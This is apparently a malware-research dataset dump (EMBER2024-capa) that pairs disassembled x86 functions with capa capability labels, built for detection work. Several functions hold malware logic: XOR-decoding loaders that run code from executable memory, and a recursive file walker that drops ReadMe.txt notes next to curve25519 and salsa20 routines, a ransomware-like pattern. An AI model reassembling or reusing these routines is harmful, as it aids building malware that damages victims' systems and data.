joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408af3
Capabilities:
Check if file exists
Check mutex on windows
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x610
mov eax, dword [0x41228c]
xor eax, esp
mov dword [esp + 0x60c], eax
push ebx
xor bl, bl
call fcn.004089cc
test eax, eax
je 0x408cb1
call fcn.0040c08e
test eax, eax
je 0x408cb1
push esi
mov esi, dword [esp + 0x624]
push edi
push 0xa
mov edi, str._shutdown
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x408b3d
inc bl
push ebp
push str.SunJavaBrokerMutex
push 1
xor ebp, ebp
push ebp
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, ebp
je 0x408ca5
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
cmp eax, 0xb7
je 0x408c9e
test bl, bl
jne 0x408cae
mov ebx, dword [sym.imp.kernel32.dll_CloseHandle]
push ebp
push ebp
push 3
push ebp
push ebp
push 0xc0000000
push 0x40eef4
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x408c4a
push 0x1ff
lea eax, [esp + 0x21]
push ebp
push eax
mov byte [esp + 0x28], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebp
lea eax, [esp + 0x1c]
push eax
push 0x200
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.kernel32.dll_ReadFile]
cmp eax, ebp
jne 0x408bda
call edi
cmp eax, 0xea
je 0x408bb6
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x220]
push 0x40ef0c
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [esp + 0x228]
push eax
call fcn.00408580
add esp, 0x10
mov edi, str.SUCCESS
test eax, eax
jne 0x408c10
mov edi, str.FAILED
push ebp
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
push eax
push edi
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
mov edi, eax
cmp edi, ebp
jne 0x408c38
push str.Pipe__close_pipe_n
call fcn.0040c08e
pop ecx
push esi
call ebx
cmp edi, ebp
je 0x408c96
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x408b7d
call edi
cmp eax, 2
jne 0x408c61
push 0x1f4
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x408b7d
cmp eax, 0xe7
jne 0x408c84
push 0xffffffffffffffff
push str..pipejbrokerpipe
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
jne 0x408b7d
call edi
jmp 0x408b7d
push eax
push str.pipe_CreateFile_error:__d_n
call fcn.0040c08e
pop ecx
pop ecx
jmp 0x408b7d
push dword [esp + 0x10]
call ebx
jmp 0x408cae
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
test bl, bl
je 0x408cae
call fcn.004089c0
pop ebp
pop edi
pop esi
mov ecx, dword [esp + 0x610]
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040b376
add esp, 0x610
ret 0x10

Function at 0x40a6c1
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
cmp dword [0x412664], 0
je 0x40a6cd
mov al, 1
ret
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
push 0
push 1
push 0
push 0x40f27c
mov edi, 0x412664
push edi
call esi
test eax, eax
jne 0x40a70f
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x40a70b
push 8
push 1
push 0
push str.__SunJavaKernel
push edi
call esi
test eax, eax
jne 0x40a70f
xor al, al
jmp 0x40a711
mov al, 1
pop edi
pop esi
ret
Function at 0x40a98c
Capabilities:
Check if file exists
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x794]
sub esp, 0x814
mov eax, dword [0x41228c]
xor eax, ebp
mov dword [ebp + 0x790], eax
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
push edi
mov dword [ebp - 0x80], esi
call dword [sym.imp.kernel32.dll_DeleteFileA]
test eax, eax
jne 0x40a9df
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
call ebx
cmp eax, 2
je 0x40a9df
call ebx
push eax
push str.CopyPath_DeleteFile_error:__d_n
call fcn.0040c08e
pop ecx
pop ecx
xor al, al
jmp 0x40aab5
xor ebx, ebx
push ebx
push 0x80
push 1
push ebx
push ebx
push 0xc0000000
push edi
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
jne 0x40aa0d
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push str.CopyPath_CreateFile_error:__d_n
jmp 0x40a9d1
push ebx
lea eax, [ebp - 0x74]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x70]
push eax
push esi
mov esi, dword [sym.imp.kernel32.dll_ReadFile]
jmp 0x40aa58
cmp dword [ebp - 0x74], ebx
je 0x40aa80
push ebx
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x40aa60
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x74]
jne 0x40aa71
push ebx
lea eax, [ebp - 0x74]
push eax
push edi
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x80]
call esi
cmp eax, ebx
jne 0x40aa25
jmp 0x40aa84
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push str.CopyPath_WriteFile_error:__d_n
jmp 0x40a9d1
push str.CopyPath_WriteFile_short_written_count_n
call fcn.0040c08e
jmp 0x40a9d7
cmp eax, ebx
jne 0x40aa95
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push str.CopyPath_ReadFile_error:__d_n
jmp 0x40a9d1
push dword [ebp - 0x78]
call dword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x40aab3
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push str.CopyPath_CloseHandle_error:__d_n
jmp 0x40a9d1
mov al, 1
mov ecx, dword [ebp + 0x790]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b376
add ebp, 0x794
leave
ret
Function at 0x40b376
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41228c]
jne 0x40b380
repz ret
jmp fcn.0040b979

Function at 0x40b90e
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x410768
call fcn.0040b920
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x412a14], ebx
jne 0x40b6a9
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], ebx
mov edi, 0x412a10
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x40b6e3
cmp eax, esi
jne 0x40b6d6
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x40b6e6
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x40b6bd
xor esi, esi
inc esi
mov eax, dword [0x412a0c]
cmp eax, esi
jne 0x40b6f9
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x40b734
mov eax, dword [0x412a0c]
test eax, eax
jne 0x40b72e
mov dword [0x412a0c], esi
push 0x40d330
push 0x40d324
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40b734
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40b84e
mov dword [0x4126c8], esi
mov eax, dword [0x412a0c]
cmp eax, esi
jne 0x40b758
push 0x40d320
push 0x40d300
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x412a0c], 2
cmp dword [ebp - 0x24], ebx
jne 0x40b765
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x412a18], ebx
je 0x40b786
push 0x412a18
call fcn.0040c08e
pop ecx
test eax, eax
je 0x40b786
push ebx
push 2
push ebx
call dword [0x412a18]
mov eax, dword [sym.imp.MSVCR100.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x40b7df
cmp al, bl
je 0x40b79f
cmp dword [ebp - 0x1c], ebx
jne 0x40b7df
mov al, byte [esi]
cmp al, bl
je 0x40b7af
cmp al, 0x20
ja 0x40b7af
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40b79f
test byte [ebp - 0x40], 1
je 0x40b7bb
movzx eax, word [ebp - 0x3c]
jmp 0x40b7be
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x4126c4], eax
cmp dword [0x4126b8], ebx
jne 0x40b834
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp al, 0x22
jne 0x40b7ee
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR100.dll__ismbblead]
pop ecx
test eax, eax
je 0x40b801
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x40b78d
cmp dword [0x4126c8], ebx
jne 0x40b842
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4126c4]
call fcn.0040b965
ret
call fcn.0040c08e
jmp 0x40b67b
Function at 0x40c08e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40c09d
pop dword [ebp - 0x14]
mov eax, 0x17a60301
sub eax, 0x17654264
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf522152
add dword [ebp - 0x24], 0x3f0023f9
mov dword [ebp - 0x20], 0xbad57e1c
add dword [ebp - 0x20], 0x775dce29
mov dword [ebp - 0x1c], 0xfb8b2711
sub dword [ebp - 0x1c], 0xaf3ee2e3
mov dword [ebp - 0x18], 0xf7669db8
sub dword [ebp - 0x18], 0xf7669db8
lea eax, [ebp - 0x24]
push eax
mov eax, 0x5917049c
sub eax, 0x58d63464
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xe82cab66
add dword [ebp - 0x24], 0x8c45bdf0
mov dword [ebp - 0x20], 0x53a84646
sub dword [ebp - 0x20], 0x123be4d1
mov dword [ebp - 0x1c], 0x2078b29e
add dword [ebp - 0x1c], 0x42f6b9ce
mov dword [ebp - 0x18], 0xf46ddc54
sub dword [ebp - 0x18], 0xf46ddc54
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x86a1a9d1
add eax, 0x799f2663
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3d88c
push 0
call eax
mov ecx, 0xbc071a64
sub ecx, 0xbc06bb7a
mov edx, eax
mov edi, 0x415400
add edi, dword [ebp - 0x14]
mov esi, 0x9e73fe75
mov dword [ebp - 4], 0xd13f353c
mov ebx, dword [edi]
xor dword [ebp - 4], 0xfacfc411
xor ebx, esi
sub dword [ebp - 8], esi
mov dword [edx], ebx
mov dword [ebp - 4], 0x68cd6967
add edx, 0xcdb2722d
add edx, 0x324d8dd7
add edi, 0x5a456965
sub edi, 0x5a456961
loop 0x40c1b3
add eax, 0x16e7b
xor ebx, ebx
add ebx, eax
add eax, 0x6f4ba0dc
sub eax, 0x6f4ba0d7
mov ecx, 0x4539dca7
sub ecx, 0x44f9dca7
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x49af9c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.0040482c
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
setne al
pop ebx
ret

Function at 0x49e4fc
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x49e52a
mov eax, ebx
call fcn.0049efb4
cmp dword [ebx + 0x3c], 0
je 0x49e523
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x49e59b
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x49e58d
cmp dword [ebx + 8], 0
je 0x49e54c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x49e55e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x49e58d
cmp dword [ebx + 8], 0
je 0x49e53f
cmp eax, 3
je 0x49e571
dec eax
jne 0x49e53f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x49e53f
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x49e53f
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x49e5b9
cmp dword [ebx + 0x10], 0xcc
je 0x49e5b9
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0049e5c4
pop ebx
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4086ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4086d9
pop dword [ebp - 0x48]
mov eax, 0xa8c3a5a5
add eax, 0x577ce134
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe01a17e4
sub dword [ebp - 0x58], 0x91c7d299
mov dword [ebp - 0x54], 0xb3881414
sub dword [ebp - 0x54], 0x8154c7cf
mov dword [ebp - 0x50], 0xe0f4d847
sub dword [ebp - 0x50], 0x94a89419
mov dword [ebp - 0x4c], 0x72e74a2d
sub dword [ebp - 0x4c], 0x72e74a2d
lea eax, [ebp - 0x58]
push eax
mov eax, 0x5490e67
sub eax, 0x5083e13
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x1cc59efe
sub dword [ebp - 0x58], 0xa85335a8
mov dword [ebp - 0x54], 0xe79188e2
sub dword [ebp - 0x54], 0xa625276d
mov dword [ebp - 0x50], 0x1c85d61
add dword [ebp - 0x50], 0x61a70f0b
mov dword [ebp - 0x4c], 0x71a89d1c
add dword [ebp - 0x4c], 0x8e5762e4
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xdd90cbfb
sub eax, 0xdd4ffbaf
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37d95
push 0
call eax
mov ecx, 0x4151
xor ebx, ebx
add ebx, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x48]
mov edx, 0x991244a4
sub edx, 0x2fb2b99d
sub dword [ebp - 0x38], edi
mov edi, dword [esi]
add dword [ebp - 0x18], esi
sub edi, edx
xor dword [ebp - 0x44], 0xe19db546
mov dword [ebx], edi
xor dword [ebp - 0x1c], 0xffe10942
add ebx, 0x330c3722
sub ebx, 0x330c371e
add esi, 0x3fa7f9b0
sub esi, 0x3fa7f9ac
loop 0x4087f1
add eax, 0xeda6f89d
sub eax, 0xeda60086
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x402b60
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4184e0
push 0x408570
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
sub esp, 0x28
push esi
push edi
mov eax, dword [section..data]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
movaps xmm0, xmmword [0x418060]
aesenc xmm0, xmmword [0x418050]
movaps xmmword [ebp - 0x40], xmm0
movd eax, xmm0
cmp eax, 0x485061fa
jne 0x402c09
cmp dword [ebp - 0x3c], 0x2f4654b9
jne 0x402c09
cmp dword [ebp - 0x38], 0xe1256f99
jne 0x402c09
cmp dword [ebp - 0x34], 0xc8b51f1f
jne 0x402c09
mov dword [ebp - 0x24], 1
jmp 0x402c09
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x406350
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0x16c]
movups xmmword [ebp - 0x18], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x28], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 9], al
call fcn.004039d0
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x20c]
call fcn.00404bc0
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x1bc]
call fcn.00404f30
lea eax, [ebp - 0x1bc]
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x11c]
call fcn.00402f90
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.00403460
lea ecx, [ebp - 0x11c]
call fcn.00403540
movups xmm0, xmmword [ebp - 0x11c]
lea edx, [ebp - 0x84]
mov ecx, esi
movups xmmword [ebp - 0x84], xmm0
movups xmm0, xmmword [ebp - 0x10c]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [ebp - 0xfc]
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [ebp - 0xec]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [ebp - 0xdc]
movups xmmword [ebp - 0x44], xmm0
call fcn.00403cd0
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004079bd
mov esp, ebp
pop ebp
ret
Function at 0x4068a0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movsx edx, byte [0x41a9c3]
movsx eax, byte [0x41a9c2]
shl edx, 8
or edx, eax
mov dword [ebp - 0x2c], 0xeeffaabb
movsx eax, byte [0x41a9c1]
shl edx, 8
or edx, eax
mov dword [ebp - 0x28], 0xaabbccdd
movsx eax, byte [str.expand_32_byte_k]
push esi
mov esi, ecx
shl edx, 8
movzx ecx, byte [0x41ba13]
or edx, eax
shl ecx, 8
movzx eax, byte [0x41ba12]
or ecx, eax
mov dword [ebp - 0x44], edx
shl ecx, 8
movzx eax, byte [0x41ba11]
or ecx, eax
movzx eax, byte [0x41ba10]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba16]
mov dword [ebp - 0x40], ecx
movzx ecx, byte [0x41ba17]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba15]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba14]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba1a]
mov dword [ebp - 0x3c], ecx
movzx ecx, byte [0x41ba1b]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba19]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba18]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba1e]
mov dword [ebp - 0x38], ecx
movzx ecx, byte [0x41ba1f]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba1c]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9c6]
mov dword [ebp - 0x34], ecx
movsx ecx, byte [0x41a9c7]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9c5]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9c4]
shl ecx, 8
or ecx, eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], ecx
movsx ecx, byte [0x41a9cb]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
movsx eax, byte [0x41a9ca]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9c9]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9c8]
shl ecx, 8
or ecx, eax
movzx edx, byte [0x41ba2f]
movzx eax, byte [0x41ba22]
mov dword [ebp - 0x1c], ecx
movzx ecx, byte [0x41ba23]
shl ecx, 8
or ecx, eax
shl edx, 8
movzx eax, byte [0x41ba21]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba20]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba26]
mov dword [ebp - 0x18], ecx
movzx ecx, byte [0x41ba27]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba25]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba24]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba2a]
mov dword [ebp - 0x14], ecx
movzx ecx, byte [0x41ba2b]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba29]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba28]
shl ecx, 8
or ecx, eax
movzx eax, byte [0x41ba2e]
or edx, eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x41ba2c]
movzx eax, ch
shl edx, 8
or edx, eax
movzx eax, cl
movsx ecx, byte [0x41a9cf]
shl ecx, 8
shl edx, 8
or edx, eax
movsx eax, byte [0x41a9ce]
or ecx, eax
mov dword [ebp - 0xc], edx
movsx eax, byte [0x41a9cd]
lea edx, [ebp - 0x44]
shl ecx, 8
or ecx, eax
movsx eax, byte [0x41a9cc]
shl ecx, 8
or ecx, eax
mov dword [ebp - 8], ecx
lea ecx, [ebp - 0x84]
call fcn.00406460
xor eax, eax
mov edx, eax
mov ecx, eax
shr edx, 2
and ecx, 3
shl ecx, 3
mov edx, dword [ebp + edx*4 - 0x84]
shr edx, cl
mov byte [esi + eax], dl
inc eax
cmp eax, 0x40
jl 0x406b06
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004079bd
mov esp, ebp
pop ebp
ret
Function at 0x407350
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 2
push 0x8000
mov dword [ebp - 0x260], ebx
call fcn.00409619
mov edi, eax
add esp, 8
test edi, edi
je 0x407552
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x417ec0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x264], eax
cmp eax, 0xffffffff
je 0x407549
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop
xor esi, esi
push dword [esi + 0x417d34]
lea eax, [ebp - 0x230]
push eax
call ebx
test eax, eax
je 0x4074bf
add esi, 4
cmp esi, 0x18
jb 0x4073c2
mov esi, dword [ebp - 0x260]
lea eax, [ebp - 0x230]
push eax
push esi
push 0x417ec8
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
test byte [ebp - 0x25c], 0x10
je 0x407415
push edi
call fcn.00407350
add esp, 4
jmp 0x4074c5
push str..DDD
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x4074c5
push str.ReadMe.txt
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4074c5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
call fcn.00409619
mov esi, eax
add esp, 8
test esi, esi
je 0x4074bf
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0xffffffffffffffff
push dword [0x41b514]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x41b9d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x41b9d0]
mov ecx, 0x12c
inc dword [0x41b9c8]
push 0x41b9d4
mov dword [eax*4 + 0x41b518], esi
inc eax
cdq
idiv ecx
mov dword [0x41b9d0], edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 1
push dword [0x41b9cc]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [ebp - 0x260]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4073c0
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ReadMe.txt
push esi
push 0x417ec8
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x407549
push 0
lea eax, [ebp - 0x264]
push eax
push 0x41b440
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x41b440
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00409460
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004079bd
mov esp, ebp
pop ebp
ret
Function at 0x4081ed
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40822c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40822c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40822c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40822c
cmp dword [ecx + 0x74], 0xe
jbe 0x40822c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412030
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41205d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41205d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10008cc2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10008cd1
pop dword [ebp - 0x38]
mov eax, 0x10008cd1
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x239c7dfb
add dword [ebp - 0x48], 0x2ab5c750
mov dword [ebp - 0x44], 0x6e1f66a3
sub dword [ebp - 0x44], 0x3bec1a5e
mov dword [ebp - 0x40], 0xf4739343
sub dword [ebp - 0x40], 0xa8274f15
mov dword [ebp - 0x3c], 0x139fa138
sub dword [ebp - 0x3c], 0x139fa138
lea eax, [ebp - 0x48]
push eax
mov eax, 0xdb3a89da
add eax, 0x34c6471e
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x531d1227
sub dword [ebp - 0x48], 0xdeaaa8d1
mov dword [ebp - 0x44], 0x2c08b7b
sub dword [ebp - 0x44], 0xc1542a06
mov dword [ebp - 0x40], 0xef792f1d
add dword [ebp - 0x40], 0x73f63d4f
mov dword [ebp - 0x3c], 0x209a5749
sub dword [ebp - 0x3c], 0x209a5749
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x2eddc25
add eax, 0xd12f4cb
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x36c5f
push 0
call eax
mov ecx, 0xe92c65
add ecx, 0xff1714bd
mov ebx, eax
mov edi, 0x10019c00
add edi, dword [ebp - 0x38]
mov edx, 0xf5f4bc1d
sub edx, 0x6ce72efb
add dword [ebp - 0x10], 0x6a97414
mov esi, dword [edi]
mov dword [ebp - 0x24], 0x42a3af9c
sub esi, edx
xor dword [ebp - 0x14], ecx
mov dword [ebx], esi
add dword [ebp - 0x28], ebx
add ebx, 0xd27737df
add ebx, 0x2d88c825
add edi, 4
loop 0x10008de8
add eax, 0xc90762a6
sub eax, 0xc9066b4b
mov ebx, eax
add eax, 0x698268e6
add eax, 0x967d971f
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret